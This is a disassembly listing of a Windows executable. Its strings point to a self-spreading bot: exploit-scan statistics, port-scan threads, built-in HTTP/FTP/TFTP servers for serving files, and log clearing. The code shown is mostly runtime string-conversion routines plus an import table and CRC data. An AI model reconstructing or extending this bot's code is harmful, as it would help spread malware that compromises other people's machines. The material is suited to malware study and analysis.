mov [ebp+ms_exc.disabled], edi add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_34], edi or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41F6A4 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor ebx, ebx xor edi, edi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_30] loc_41F6A4: ; CODE XREF: sub_41F4EA+1A1j cmp edi, ebx jnz short loc_41F6BC push esi call sub_414CAD pop ecx mov edi, eax cmp edi, ebx jz short loc_41F71D mov [ebp+var_24], 1 loc_41F6BC: ; CODE XREF: sub_41F4EA+1BCj push esi push edi push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4201A0 ; LCMapStringA test eax, eax jz short loc_41F71D test byte ptr [ebp+arg_4+1], 4 jz short loc_41F6F9 mov [ebp+var_1C], esi cmp [ebp+arg_14], ebx jz short loc_41F71D cmp [ebp+arg_14], esi jge short loc_41F6EA mov esi, [ebp+arg_14] loc_41F6EA: ; CODE XREF: sub_41F4EA+1FBj push esi push edi push [ebp+arg_10] call sub_4144A0 add esp, 0Ch jmp short loc_41F71D ; --------------------------------------------------------------------------- loc_41F6F9: ; CODE XREF: sub_41F4EA+1EEj cmp [ebp+arg_14], ebx jnz short loc_41F702 push ebx push ebx jmp short loc_41F708 ; --------------------------------------------------------------------------- loc_41F702: ; CODE XREF: sub_41F4EA+212j push [ebp+arg_14] push [ebp+arg_10] loc_41F708: ; CODE XREF: sub_41F4EA+216j push esi push edi push 1 push [ebp+arg_18] call ds:dword_4200D4 ; MultiByteToWideChar mov [ebp+var_1C], eax jmp short loc_41F71D ; --------------------------------------------------------------------------- loc_41F71A: ; CODE XREF: sub_41F4EA+160j ; sub_41F4EA+181j mov edi, [ebp+var_34] loc_41F71D: ; CODE XREF: sub_41F4EA+1C9j ; sub_41F4EA+1E8j ... cmp [ebp+var_24], ebx jz short loc_41F729 push edi call sub_414844 pop ecx loc_41F729: ; CODE XREF: sub_41F4EA+236j cmp [ebp+var_20], ebx jz short loc_41F737 push [ebp+var_2C] call sub_414844 pop ecx loc_41F737: ; CODE XREF: sub_41F4EA+242j mov eax, [ebp+var_1C] loc_41F73A: ; CODE XREF: sub_41F4EA+91j ; sub_41F4EA+F5j lea esp, [ebp-40h] call __SEH_epilog retn sub_41F4EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F743 proc near ; CODE XREF: sub_41F489+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0FFFFh jz short loc_41F788 cmp [ebp+arg_4], 100h jnb short loc_41F767 movzx eax, [ebp+arg_4] mov ecx, off_42DEB4 mov ax, [ecx+eax*2] jmp short loc_41F78F ; --------------------------------------------------------------------------- loc_41F767: ; CODE XREF: sub_41F743+12j mov eax, [ebp+arg_0] push dword ptr [eax+14h] push dword ptr [eax+4] lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+arg_4] push eax push 1 call sub_41F79A add esp, 18h test eax, eax jnz short loc_41F78C loc_41F788: ; CODE XREF: sub_41F743+Aj xor eax, eax jmp short loc_41F78F ; --------------------------------------------------------------------------- loc_41F78C: ; CODE XREF: sub_41F743+43j mov eax, [ebp+var_4] loc_41F78F: ; CODE XREF: sub_41F743+22j ; sub_41F743+47j movzx ecx, [ebp+arg_8] movzx eax, ax and eax, ecx leave retn sub_41F743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F79A proc near ; CODE XREF: sub_41F743+39p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 24h push offset stru_429D68 call __SEH_prolog xor esi, esi xor edi, edi inc edi cmp dword_47C628, esi jnz short loc_41F7E5 lea eax, [ebp+var_1C] push eax push edi push offset dword_429080 push edi call ds:dword_420154 ; GetStringTypeW test eax, eax jz short loc_41F7D0 mov dword_47C628, edi jmp short loc_41F7E5 ; --------------------------------------------------------------------------- loc_41F7D0: ; CODE XREF: sub_41F79A+2Cj call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41F7E5 mov dword_47C628, 2 loc_41F7E5: ; CODE XREF: sub_41F79A+17j ; sub_41F79A+34j ... mov eax, dword_47C628 cmp eax, edi jnz short loc_41F805 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_420154 ; GetStringTypeW jmp loc_41F9B6 ; --------------------------------------------------------------------------- loc_41F805: ; CODE XREF: sub_41F79A+52j cmp eax, 2 jz short loc_41F80E cmp eax, esi jnz short loc_41F861 loc_41F80E: ; CODE XREF: sub_41F79A+6Ej mov [ebp+var_20], esi mov [ebp+var_24], esi cmp [ebp+arg_14], esi jnz short loc_41F821 mov eax, dword_47C4E0 mov [ebp+arg_14], eax loc_41F821: ; CODE XREF: sub_41F79A+7Dj cmp [ebp+arg_10], esi jnz short loc_41F82E mov eax, dword_47C4F0 mov [ebp+arg_10], eax loc_41F82E: ; CODE XREF: sub_41F79A+8Aj push [ebp+arg_14] call sub_41DD87 pop ecx cmp [ebp+arg_10], eax jz short loc_41F844 cmp eax, 0FFFFFFFFh jz short loc_41F844 mov [ebp+arg_10], eax loc_41F844: ; CODE XREF: sub_41F79A+A0j ; sub_41F79A+A5j push esi push esi push esi push esi push [ebp+arg_8] push [ebp+arg_4] push esi push [ebp+arg_10] call ds:dword_4200D8 ; WideCharToMultiByte mov ebx, eax mov [ebp+var_28], ebx cmp ebx, esi jnz short loc_41F868 loc_41F861: ; CODE XREF: sub_41F79A+72j ; sub_41F79A+126j xor eax, eax jmp loc_41F9B6 ; --------------------------------------------------------------------------- loc_41F868: ; CODE XREF: sub_41F79A+C5j mov [ebp+ms_exc.disabled], esi mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax push ebx push esi push eax call sub_41C380 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41F8AD ; --------------------------------------------------------------------------- loc_41F891: ; DATA XREF: .rdata:stru_429D68o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41F895: ; DATA XREF: .rdata:stru_429D68o mov esp, [ebp+ms_exc.old_esp] call sub_419B68 and [ebp+var_2C], 0 or [ebp+ms_exc.disabled], 0FFFFFFFFh xor edi, edi inc edi mov ebx, [ebp+var_28] xor esi, esi loc_41F8AD: ; CODE XREF: sub_41F79A+F5j cmp [ebp+var_2C], esi jnz short loc_41F8C5 push ebx push edi call sub_41C0B0 pop ecx pop ecx mov [ebp+var_2C], eax cmp eax, esi jz short loc_41F861 mov [ebp+var_20], edi loc_41F8C5: ; CODE XREF: sub_41F79A+116j push esi push esi push ebx push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push esi push [ebp+arg_10] call ds:dword_4200D8 ; WideCharToMultiByte test eax, eax jz loc_41F9A5 mov [ebp+ms_exc.disabled], edi lea eax, [ebx+ebx+2] add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_30], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41F91F ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_419B68 and [ebp+var_30], 0 or [ebp+ms_exc.disabled], 0FFFFFFFFh xor edi, edi inc edi mov ebx, [ebp+var_28] xor esi, esi loc_41F91F: ; CODE XREF: sub_41F79A+167j cmp [ebp+var_30], esi jnz short loc_41F939 lea eax, [ebx+ebx+2] push eax call sub_414CAD pop ecx mov [ebp+var_30], eax cmp eax, esi jz short loc_41F9A5 mov [ebp+var_24], edi loc_41F939: ; CODE XREF: sub_41F79A+188j cmp [ebp+arg_14], esi jnz short loc_41F946 mov eax, dword_47C4E0 mov [ebp+arg_14], eax loc_41F946: ; CODE XREF: sub_41F79A+1A2j mov edi, [ebp+arg_8] add edi, edi mov eax, [ebp+var_30] lea esi, [edi+eax] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push eax push ebx push [ebp+var_2C] push [ebp+arg_0] push [ebp+arg_14] call ds:dword_4201D4 ; GetStringTypeA mov [ebp+var_34], eax cmp word ptr [esi-2], 0FFFFh jz short loc_41F990 cmp word ptr [esi], 0FFFFh jnz short loc_41F990 push edi push [ebp+var_30] push [ebp+arg_C] call sub_41D050 add esp, 0Ch jmp short loc_41F994 ; --------------------------------------------------------------------------- loc_41F990: ; CODE XREF: sub_41F79A+1DCj ; sub_41F79A+1E3j and [ebp+var_34], 0 loc_41F994: ; CODE XREF: sub_41F79A+1F4j cmp [ebp+var_24], 0 jz short loc_41F9A3 push [ebp+var_30] call sub_414844 pop ecx loc_41F9A3: ; CODE XREF: sub_41F79A+1FEj xor esi, esi loc_41F9A5: ; CODE XREF: sub_41F79A+143j ; sub_41F79A+19Aj cmp [ebp+var_20], esi jz short loc_41F9B3 push [ebp+var_2C] call sub_414844 pop ecx loc_41F9B3: ; CODE XREF: sub_41F79A+20Ej mov eax, [ebp+var_34] loc_41F9B6: ; CODE XREF: sub_41F79A+66j ; sub_41F79A+C9j lea esp, [ebp-40h] call __SEH_epilog retn sub_41F79A endp ; --------------------------------------------------------------------------- mov eax, dword_435C28 and eax, 0FFFFFFFEh mov dword_435C28, eax retn ; --------------------------------------------------------------------------- loc_41F9CD: ; DATA XREF: sub_407028o mov eax, offset dword_429D98 jmp loc_4154C5 _text ends ; Section 2. (virtual address 00020000) ; Virtual size : 0000A888 ( 43144.) ; Section size in file : 0000A888 ( 43144.) ; Offset to raw data for section: 00020000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rdata segment para public 'CODE' use32 assume cs:_rdata ;org 420000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_420000 dd 77E61BE6h ; DATA XREF: sub_401141+1E0r ; sub_401141+28Br ... dword_420004 dd 77E7751Ah ; DATA XREF: sub_401141+156r ; sub_401967+32r ... dword_420008 dd 77F5157Dh ; DATA XREF: sub_401141+12Er ; sub_401141+278r ... dword_42000C dd 77E7AC37h ; DATA XREF: sub_401141+10Er ; sub_401141+25Br ... dword_420010 dd 77E7A099h ; DATA XREF: sub_401141+58r ; sub_401141+183r ... dword_420014 dd 77E73C49h ; DATA XREF: sub_401967+22Fr ; sub_401B9D+24Br ... dword_420018 dd 77F7E300h ; DATA XREF: sub_401967+130r ; sub_417E7A+28r ... dword_42001C dd 77F7E21Fh ; DATA XREF: sub_401967+C5r ; sub_417E28+28r ... dword_420020 dd 77E7C706h ; DATA XREF: sub_401B9D+93r dword_420024 dd 77F53275h ; DATA XREF: sub_401B9D+87r ; sub_401B9D+23Br ... dword_420028 dd 77E70F89h ; DATA XREF: sub_401EFF+Dr dword_42002C dd 77E802FCh ; DATA XREF: sub_4021B5+17Br ; sub_4021B5+1A7r ... dword_420030 dd 77E6D75Bh ; DATA XREF: sub_4021B5+171r ; sub_4111E2+F8r dword_420034 dd 77E75CB5h ; DATA XREF: sub_4025CE+49Br ; sub_402E5D+D9r ... dword_420038 dd 77E61BB8h ; DATA XREF: sub_4025CE+394r ; sub_4025CE+485r ... dword_42003C dd 77E77963h ; DATA XREF: sub_4025CE+1EFr ; sub_402E5D+B2r ... dword_420040 dd 77E79D8Ch ; DATA XREF: sub_4025CE+122r ; sub_4069F7+AFr ... dword_420044 dd 77E7A837h ; DATA XREF: sub_4025CE+5Dr ; sub_40489A+26r ... dword_420048 dd 77E704FCh ; DATA XREF: sub_402E5D+6Er ; sub_4089DC+4308r ... dword_42004C dd 77E78EAAh ; DATA XREF: sub_402F3D+C0r ; sub_402F3D+144r ... dword_420050 dd 77E75E67h ; DATA XREF: sub_402F3D+B3r ; sub_402F3D+139r ... dword_420054 dd 77E75D9Eh ; DATA XREF: sub_402F3D+26r ; sub_4041A6+231r dword_420058 dd 77F51597h ; DATA XREF: sub_4031AF+41r ; sub_4031AF+F5r ... dword_42005C dd 77F516F8h ; DATA XREF: sub_4031AF+21r ; sub_403338+4Ar ... dword_420060 dd 77E77CB7h ; DATA XREF: sub_4031AF+10r ; sub_403338+40r ... dword_420064 dd 77E79424h ; DATA XREF: sub_403338+12Dr ; sub_4041A6+2ABr dword_420068 dd 77E794BFh ; DATA XREF: sub_403338+11Br ; sub_4041A6+29Dr dword_42006C dd 77E7F01Ah ; DATA XREF: sub_403338+88r ; sub_4034D6+53r dword_420070 dd 77E61A54h ; DATA XREF: sub_403338+53r ; sub_4034D6+8Dr dword_420074 dd 77E7C3A5h ; DATA XREF: sub_403338+34r ; sub_4034D6+2Cr ... dword_420078 dd 77E706B7h ; DATA XREF: sub_403338+15r ; sub_4034D6+10r ... dword_42007C dd 77E80618h ; DATA XREF: sub_40378E+16Fr dword_420080 dd 77E78147h ; DATA XREF: sub_40378E+BBr dword_420084 dd 77E7A5FDh ; DATA XREF: sub_40378E+5Fr ; sub_405770+11r ... dword_420088 dd 77E805D8h ; DATA XREF: sub_40378E+59r ; sub_405770+13Ar ... dword_42008C dd 77E78B82h ; DATA XREF: sub_40489A+82r ; sub_40F105+B9r ... dword_420090 dd 77E78C81h ; DATA XREF: sub_40489A+6Cr ; sub_41B178+2Dr ... dword_420094 dd 77E793EFh ; DATA XREF: sub_40489A+39r ; sub_404C2E+1F6r dword_420098 dd 77E64106h ; DATA XREF: sub_404AC0+9Cr ; sub_4116D2+185r dword_42009C dd 77E64006h ; DATA XREF: sub_404AC0+88r ; sub_4116D2+16Er dword_4200A0 dd 77E74CABh ; DATA XREF: sub_404C2E+10Cr ; sub_4069F7+10Ar ... dword_4200A4 dd 77E79F93h ; DATA XREF: sub_405770+2r ; sub_4069F7+F6r ... dword_4200A8 dd 77E76A60h ; DATA XREF: sub_4067EA+2Dr dword_4200AC dd 77E71B14h ; DATA XREF: sub_406874+26r dword_4200B0 dd 77E7166Fh ; DATA XREF: sub_406874+1Dr dword_4200B4 dd 77E75090h ; DATA XREF: sub_4068AF+69r dword_4200B8 dd 77E74D76h ; DATA XREF: sub_4068AF+36r dword_4200BC dd 77E77797h ; DATA XREF: sub_4068AF+25r dword_4200C0 dd 77E7011Ah ; DATA XREF: sub_406931+96r dword_4200C4 dd 77E73CE2h ; DATA XREF: sub_406931+60r dword_4200C8 dd 77E668D9h ; DATA XREF: sub_4069F7+159r dword_4200CC dd 77E70396h ; DATA XREF: sub_4069F7+122r ; sub_4081CA+293r ... dword_4200D0 dd 77E6AD34h ; DATA XREF: sub_4069F7+30r ; sub_4089DC+2FC4r dword_4200D4 dd 77E77CCEh ; DATA XREF: sub_406FE7+Fr ; sub_413E26+84r ... dword_4200D8 dd 77E79924h ; DATA XREF: sub_407028+1Ar ; .text:00414219r ... dword_4200DC dd 77E65F4Ch ; DATA XREF: sub_4076B0+34r ; .text:0040FA30r dword_4200E0 dd 77E79C90h ; DATA XREF: sub_40815F+Cr ; sub_40F292+7Dr ... dword_4200E4 dd 77E73628h ; DATA XREF: sub_4081CA+2A0r ; sub_4089DC+3914r ... dword_4200E8 dd 77E616B4h ; DATA XREF: sub_4081CA+10Ar ; sub_4081CA+24Br ... dword_4200EC dd 77E76A2Eh ; DATA XREF: sub_4081CA+D4r dword_4200F0 dd 77E75CEBh ; DATA XREF: sub_4089DC+3BE8r ; sub_4108C1+A3r ... dword_4200F4 dd 77E71AFEh ; DATA XREF: sub_4089DC+2D79r dword_4200F8 dd 77E80656h ; DATA XREF: sub_40E6BB+25Er ; sub_41DF9F+17r dword_4200FC dd 77E6BD13h ; DATA XREF: sub_40E6BB+1D4r ; sub_413E26+ACr dword_420100 dd 77E79D5Bh ; DATA XREF: sub_40E6BB+6Br ; sub_40E6BB+307r dword_420104 dd 77E7C2C4h ; DATA XREF: sub_40E6BB+64r dword_420108 dd 77E7FF65h ; DATA XREF: sub_40F105+59r dword_42010C dd 77EB7624h ; DATA XREF: sub_40F105+38r ; sub_40F105+101r dword_420110 dd 77E79CE3h ; DATA XREF: sub_40F292+95r ; sub_410547+6Br dword_420114 dd 77E7727Ah ; DATA XREF: sub_40F292+39r ; sub_4107C5+48r ... dword_420118 dd 77E76968h ; DATA XREF: sub_40F6E5+5Fr dword_42011C dd 77E7513Ch ; DATA XREF: .text:0040FA9Dr ; sub_41DD87+23r dword_420120 dd 77E7C657h ; DATA XREF: .text:0040FB0Dr ; sub_4115A4+19r ... dword_420124 dd 77E6C29Dh ; DATA XREF: sub_4101B8+1F1r dword_420128 dd 77EC7C51h ; DATA XREF: sub_4106B0+4Dr dword_42012C dd 77E74C59h ; DATA XREF: sub_4108C1+CBr dword_420130 dd 77E76C1Ah ; DATA XREF: sub_4116D2+199r dword_420134 dd 77E70192h ; DATA XREF: sub_41E49E+E8r dword_420138 dd 77F522F2h ; DATA XREF: sub_41E20D+5Ar dword_42013C dd 77E7176Ch ; DATA XREF: sub_41E1DD+8r dword_420140 dd 77E7339Ch ; DATA XREF: sub_41E1A5+Cr dword_420144 dd 77E7C9E7h ; DATA XREF: sub_41E185+5r ; sub_41E198+6r dword_420148 dd 77E79908h ; DATA XREF: .text:0041CFACr dword_42014C dd 77E73FF9h ; DATA XREF: sub_41CD6E+57r dword_420150 dd 77E7FF2Eh ; DATA XREF: sub_41CA50:loc_41CAA3r ; sub_41CACC:loc_41CB22r dword_420154 dd 77E7C866h ; DATA XREF: sub_41C3E0+24r ; sub_41C3E0+128r ... dword_420158 dd 77F5722Fh ; DATA XREF: sub_4149EA+137r ; sub_4149EA+188r ... dword_42015C dd 77E6167Bh ; DATA XREF: sub_415250+9r ; sub_41DF9F+Br dword_420160 dd 77F6183Eh ; DATA XREF: sub_41F3D6r dword_420164 dd 77E6177Ah ; DATA XREF: .text:0041626Fr ; sub_41BB6D+5Dr dword_420168 dd 77E7C938h ; DATA XREF: .text:loc_41621Er dword_42016C dd 77E72B29h ; DATA XREF: sub_416C27+10r dword_420170 dd 77F51587h ; DATA XREF: sub_416C45+66r ; sub_41CFB8+79r dword_420174 dd 77E77CC4h ; DATA XREF: sub_416C45+4Fr ; sub_416CB6+55r ... dword_420178 dd 77E79B39h ; DATA XREF: sub_416C45+37r ; sub_416CB6+3Dr dword_42017C dd 77E78B61h ; DATA XREF: sub_416C45+10r dword_420180 dd 77E7C5B4h ; DATA XREF: sub_416CB6+9r dword_420184 dd 77E76E0Bh ; DATA XREF: sub_417F32+44r dword_420188 dd 77E7C726h ; DATA XREF: sub_417F32+11r dword_42018C dd 77E79E34h ; DATA XREF: sub_418159+22Fr dword_420190 dd 77E7980Ah ; DATA XREF: sub_418471+7Er ; sub_418528+52r ... dword_420194 dd 77E73196h ; DATA XREF: sub_41E1C1+Cr dword_420198 dd 77E6169Ah ; DATA XREF: sub_419B68+C3r dword_42019C dd 77E7F044h ; DATA XREF: sub_419B68+1Ar ; sub_419B68+71r dword_4201A0 dd 77E77405h ; DATA XREF: sub_419C39+2C3r ; sub_419C39+344r ... dword_4201A4 dd 77E781F9h ; DATA XREF: sub_419C39+27r ; sub_419C39+15Br ... dword_4201A8 dd 77E7A13Fh ; DATA XREF: sub_41ADFD+4Cr dword_4201AC dd 77E6C703h ; DATA XREF: sub_41ADFD+35r dword_4201B0 dd 77E7849Fh ; DATA XREF: sub_41AA66+1Fr ; sub_41AC67+3Dr ... dword_4201B4 dd 77E79C3Dh ; DATA XREF: sub_41B3F9+154r ; sub_41BB6D+188r dword_4201B8 dd 77EB9A84h ; DATA XREF: sub_41B5A9+159r dword_4201BC dd 77E9C5B1h ; DATA XREF: sub_41BA4B+113r dword_4201C0 dd 77E67702h ; DATA XREF: sub_41BA4B:loc_41BB22r dword_4201C4 dd 77E7C9E1h ; DATA XREF: sub_41BA4B+C1r dword_4201C8 dd 77E77EE1h ; DATA XREF: sub_41BA4B+Br dword_4201CC dd 77E7C931h ; DATA XREF: sub_41BB6D+1EEr dword_4201D0 dd 77E78406h ; DATA XREF: sub_41BB6D+107r ; sub_41BB6D+196r ... dword_4201D4 dd 77E641EBh ; DATA XREF: sub_41C3E0+19Cr ; sub_41F79A+1CDr dd 0 dword_4201DC dd 71AB3F8Dh ; DATA XREF: sub_403BFF+88r dword_4201E0 dd 71AB155Ah ; DATA XREF: sub_403BFF+98r dword_4201E4 dd 71AB3ECEh ; DATA XREF: sub_403BFF+C1r dword_4201E8 dd 71AB5DE2h ; DATA XREF: sub_403BFF+D2r dword_4201EC dd 71AB1890h ; DATA XREF: sub_403BFF+10Ar ; sub_403BFF+58Br dword_4201F0 dd 71AB1B7Bh ; DATA XREF: sub_41F3D0r dword_4201F4 dd 71AB868Dh ; DATA XREF: sub_403BFF+170r dword_4201F8 dd 71AB5690h ; DATA XREF: sub_403BFF+1D3r dword_4201FC dd 71AB1AF4h ; DATA XREF: sub_403B6D+5Fr ; sub_403BFF+119r dword_420200 dd 71AB41DAh ; DATA XREF: sub_403AF0+15r ; sub_403BFF+49r dword_420204 dd 71AB3C22h ; DATA XREF: sub_403AF0+21r ; sub_403BFF+6Fr dword_420208 dd 71AB12F8h ; DATA XREF: sub_403AF0+35r dword_42020C dd 71AB1746h ; DATA XREF: sub_403AF0+41r ; sub_403BFF+B0r dword_420210 dd 71AB3E5Dh ; DATA XREF: sub_403AF0+57r dword_420214 dd 71AB1A6Dh ; DATA XREF: sub_403AF0+68r ; sub_403B6D+80r ... dword_420218 dd 71AB1836h ; DATA XREF: sub_403AF0+6Er ; sub_403B6D+86r align 10h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_401000+42o align 10h aScanExploitSta db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_401000+11o aScanScanNotAct db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_4010CA+42o align 4 aScanCurrentIpS db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_4010CA+2Co aHttpdFailedToS db '[HTTPD]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_401141+38Do align 10h aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0 ; DATA XREF: sub_401141+337o ; sub_4089DC+43ACo aFtpFailedToSta db '[FTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_401141+27Fo aFtpServerStart db '[FTP]: Server started on: %s:%d, File: %s, Request: %s.',0 ; DATA XREF: sub_401141+228o aTftpFailedToSt db '[TFTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_401141+13Bo align 4 aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: sub_401141+DBo ; sub_4089DC+421Co align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4017F1+42o ; sub_407D15+3Do aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_401967+DCo align 4 aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_401967+84o aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: sub_401B9D+1E0o align 4 aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_401B9D+16Eo aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_401B9D+10Fo aScanFailedToIn db '[SCAN]: Failed to initialize critical section.',0 ; DATA XREF: sub_401B9D+A0o align 4 aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_401E87+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_401E87+10o align 4 a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_401EFF+60o align 4 aLogsCleared_ db '[LOGS]: Cleared.',0 ; DATA XREF: sub_401F9F+1Ao align 10h aLogListComplet db '[LOG]: List complete.',0 ; DATA XREF: sub_402011+DCo align 4 aLogBegin db '[LOG]: Begin',0 ; DATA XREF: sub_402011+3Fo align 4 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_420978 dd 6272h ; 